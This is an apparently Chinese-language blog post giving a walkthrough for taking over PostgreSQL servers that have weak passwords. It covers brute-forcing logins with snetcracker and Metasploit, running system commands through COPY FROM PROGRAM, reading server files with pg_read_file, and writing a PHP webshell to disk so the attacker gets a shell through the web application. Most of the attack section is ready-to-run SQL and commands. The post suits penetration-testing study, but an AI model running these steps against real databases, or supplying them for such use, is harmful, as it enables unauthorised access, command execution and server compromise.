PostgreSQL弱口令getshell

postgreSQL简介

postgreSQL数据库介绍

  • 数据库端口5432

file

  • 数据库连接成功常用数据库查询命令
命令行客户端操作pg数据库常用操作
1.链接数据库

$psql -U user_name -d database_name -h serverhost

2.命令常用操作

\h	#查看所有的sql关键字
\? 	#命令行操作的帮助
\d 	#查看当前schema 中所有的表
\q	#退出pg命令行
\d	#schema.table 查看表的结构
\x	#横纵显示切换 
\dT+	#显示扩展类型相关属性及描述
\dx	#显示已安装的扩展插件
\l	#列出所有的数据库
\! hostname	#列出当前的主机名
\timing	#显示执行时间
\c database_name	#切换数据库
set search to schema	#切换schema
explain analyze sql	#解释或分析sql执行过程

postgreSQL数据库渗透思路

1.postgreSQL数据库暴力猜解
猜解成功后可进行的操作
- 可对数据库进行操作(增、删、改、查)
- 可通过数据库函数执行系统命令
2.postgreSQL注入

postgreSQL暴力猜解

snetcracker工具进行爆破

file

msf爆破

use auxiliary/scanner/postgres/postgres_login
set rhosts 目标IP
run

file

file

postgreSQL数据库链接,命令执行

命令行连接

postgres-#的意思是:你当前的命令输入还不完整。

postgres=#的意思是:当前没有输入新的命令

psql -h 192.168.2.115  -U postgres -W       

file

file

  • 渗透常用命令总结
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//执行系统命令

file

file

命令总结

\l
//列出数据库
\du
//列出数据库的用户
select pg_ls_dir('./');
//不能是绝对路径
select pg_read_file('postgresql.auto.conf', 0, 200);
//读取系统文件:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//使用数据库获取系统信息

getshell-1

drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to  '/tmp/cmd.php';
drop table pwn;
//使用数据库写文件
copy  (select '<?php phpinfo();?>') to '/tmp/1.php';

成功写入文件,一般目标都会部署web应用,把webshell写道web应用中可getshell
file

getshell-2

csdn-PostgreSQL入门及提权

流量分析

口令爆破流量

file

命令执行流量

file

file

posted @ 2021-07-20 15:35  renblog  阅读(3319)  评论(0编辑  收藏  举报